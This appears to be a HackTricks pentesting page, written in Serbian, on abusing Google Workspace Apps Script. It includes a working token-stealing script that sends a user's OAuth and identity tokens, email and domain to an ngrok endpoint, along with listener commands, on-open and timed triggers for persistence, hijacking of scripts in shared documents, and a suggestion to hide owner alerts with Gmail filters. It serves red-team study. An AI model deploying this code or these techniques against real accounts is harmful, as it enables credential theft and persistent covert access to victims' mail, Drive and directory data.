# GWS - App Scripts

{{#include ../../../banners/hacktricks-training.md}}

## App Scripts

App Scripts je **kod koji će se aktivirati kada korisnik sa dozvolom urednika pristupi dokumentu sa kojim je povezan App Script** i nakon **prihvatanja OAuth prompta**.\
Takođe se mogu postaviti da se **izvršavaju svakog određenog vremena** od strane vlasnika App Script-a (Persistencija).

### Kreirajte App Script

Postoji nekoliko načina za kreiranje App Script-a, iako su najčešći **iz Google dokumenta (bilo koje vrste)** i kao **samostalni projekat**:

<details>

<summary>Kreirajte projekat vezan za kontejner iz Google Docs, Sheets ili Slides</summary>

1. Otvorite Docs dokument, Sheets tabelu ili Slides prezentaciju.
2. Kliknite na **Extensions** > **Google Apps Script**.
3. U editoru skripti, kliknite na **Untitled project**.
4. Dajte svom projektu ime i kliknite na **Rename**.

</details>

<details>

<summary>Kreirajte samostalni projekat</summary>

Da biste kreirali samostalni projekat iz Apps Script-a:

1. Idite na [`script.google.com`](https://script.google.com/).
2. Kliknite na **New Project**.
3. U editoru skripti, kliknite na **Untitled project**.
4. Dajte svom projektu ime i kliknite na **Rename**.

</details>

<details>

<summary>Kreirajte samostalni projekat iz Google Drive-a</summary>

1. Otvorite [Google Drive](https://drive.google.com/).
2. Kliknite na **New** > **More** > **Google Apps Script**.

</details>

<details>

<summary>Kreirajte projekat vezan za kontejner iz Google Forms</summary>

1. Otvorite obrazac u Google Forms.
2. Kliknite na More more_vert > **Script editor**.
3. U editoru skripti, kliknite na **Untitled project**.
4. Dajte svom projektu ime i kliknite na **Rename**.

</details>

<details>

<summary>Kreirajte samostalni projekat koristeći clasp komandnu liniju</summary>

`clasp` je alat za komandnu liniju koji vam omogućava da kreirate, povlačite/pomerate i implementirate Apps Script projekte iz terminala.

Pogledajte [Vodič za komandnu liniju koristeći `clasp`](https://developers.google.com/apps-script/guides/clasp) za više detalja.

</details>

## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>

### Kreirajte Google Sheet sa App Script-om

Započnite kreiranjem App Script-a, moja preporuka za ovaj scenario je da kreirate Google Sheet i idete na **`Extensions > App Scripts`**, ovo će otvoriti **novi App Script za vas povezan sa tabelom**.

### Leak token

Da biste omogućili pristup OAuth tokenu, potrebno je da kliknete na **`Services +` i dodate opsege kao**:

- **AdminDirectory**: Pristup korisnicima i grupama direktorijuma (ako korisnik ima dovoljno dozvola)
- **Gmail**: Da biste pristupili gmail podacima
- **Drive**: Da biste pristupili podacima sa diska
- **Google Sheets API**: Da bi radilo sa okidačem

Da biste promenili **potrebne opsege**, možete otići na podešavanja projekta i omogućiti: **`Show "appsscript.json" manifest file in editor`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
```
Da biste uhvatili zahtev, jednostavno pokrenite:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
Permissions requested to execute the App Script:

<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>

> [!WARNING]
> Kada se izvrši spoljni zahtev, OAuth prompt će takođe **tražiti dozvolu za pristup spoljnim krajnjim tačkama**.

### Create Trigger

Kada se aplikacija pročita, kliknite na **⏰ Triggers** da biste kreirali okidač. Kao **funkciju** za pokretanje izaberite **`getToken`**, pokreće se na implementaciji **`Head`**, u izvoru događaja izaberite **`From spreadsheet`** i tip događaja izaberite **`On open`** ili **`On edit`** (u zavisnosti od vaših potreba) i sačuvajte.

Napomena: možete proveriti **izvršenja App Scripts u kartici Executions** ako želite da debagujete nešto.

### Sharing

Da biste **pokrenuli** **App Script**, žrtva treba da se poveže sa **Editor Access**.

> [!TIP]
> **Token** koji se koristi za izvršavanje **App Script** biće onaj od **kreatora okidača**, čak i ako je datoteka otvorena kao Editor od strane drugih korisnika.

### Abusing Shared With Me documents

> [!CAUTION]
> Ako vam je neko **podelio dokument sa App Scripts i okidačem koristeći Head** App Script-a (ne fiksnu implementaciju), možete izmeniti kod App Script-a (dodajući, na primer, funkcije za krađu tokena), pristupiti mu, i **App Script će biti izvršen sa dozvolama korisnika koji je podelio dokument sa vama**! (napomena: OAuth token vlasnika će imati pristupne opsege one koje su date kada je okidač kreiran).
>
> **Obaveštenje će biti poslato kreatoru skripte koje ukazuje da je neko izmenio skriptu** (Šta kažete na korišćenje gmail dozvola za generisanje filtera kako bi se sprečila upozorenja?)

> [!TIP]
> Ako **napadač izmeni opsege App Script-a**, ažuriranja **neće biti primenjena** na dokument dok se ne kreira **novi okidač** sa izmenama. Stoga, napadač neće moći da ukrade token vlasnika kreatora sa više opsega nego što je postavio u okidaču koji je kreirao.

### Copying instead of sharing

Kada kreirate link za deljenje dokumenta, kreira se link sličan ovom: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
Ako **promenite** završetak **"/edit"** u **"/copy"**, umesto da mu pristupite, google će vas pitati da li želite da **generišete kopiju dokumenta:**

<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>

Ako korisnik to kopira i pristupi mu, i **sadržaj dokumenta i App Scripts će biti kopirani**, međutim **okidači nisu**, stoga **ništa neće biti izvršeno**.

### Sharing as Web Application

Napomena: takođe je moguće **podeliti App Script kao Web aplikaciju** (u Editoru App Script-a, implementirati kao Web aplikaciju), ali će se pojaviti upozorenje poput ovog:

<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>

Praćeno **tipičnim OAuth promptom koji traži** potrebne dozvole.

### Testing

Možete testirati prikupljeni token za listanje emailova sa:
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
```
Lista kalendara korisnika:
```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
```
## App Script kao Persistencija

Jedna opcija za persistenciju bi bila da **napravite dokument i dodate okidač za funkciju getToken** i podelite dokument sa napadačem tako da svaki put kada napadač otvori datoteku, on **izvlači token žrtve.**

Takođe je moguće napraviti App Script i postaviti ga da se aktivira svakih X vremena (kao svake minute, sata, dana...). Napadač koji ima **kompromitovane akreditive ili sesiju žrtve može postaviti vremenski okidač za App Script i svaki dan izložiti veoma privilegovan OAuth token**:

Jednostavno napravite App Script, idite na Okidače, kliknite na Dodaj Okidač, i izaberite kao izvor događaja Vremenski okidač i izaberite opcije koje vam najbolje odgovaraju:

<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>

> [!CAUTION]
> Ovo će kreirati email obaveštenje o bezbednosti i push poruku na vaš mobilni uređaj koja vas obaveštava o tome.

### Zaobilaženje Nepoverljivog Upita za Deljeni Dokument

Štaviše, ako vam je neko **podelio** dokument sa **pristupom za uređivanje**, možete generisati **App Scripts unutar dokumenta** i **VLASNIK (kreator) dokumenta će biti vlasnik App Script-a**.

> [!WARNING]
> To znači da će se **kreator dokumenta pojaviti kao kreator bilo kog App Script-a** koji bilo ko sa pristupom za uređivanje kreira unutar njega.
>
> To takođe znači da će **App Script biti poveren od strane Workspace okruženja** kreatora dokumenta.

> [!CAUTION]
> To takođe znači da ako je **App Script već postojao** i ljudi su **dali pristup**, bilo ko sa **pristupom za uređivanje** na dokumentu može **modifikovati i zloupotrebiti taj pristup.**\
> Da biste zloupotrebili ovo, takođe vam je potrebno da ljudi aktiviraju App Script. Jedan pametan trik je da **objavite skriptu kao web aplikaciju**. Kada **ljudi** koji su već dali **pristup** App Script-u pristupe web stranici, oni će **aktivirati App Script** (ovo takođe funkcioniše koristeći `<img>` tagove).

{{#include ../../../banners/hacktricks-training.md}}
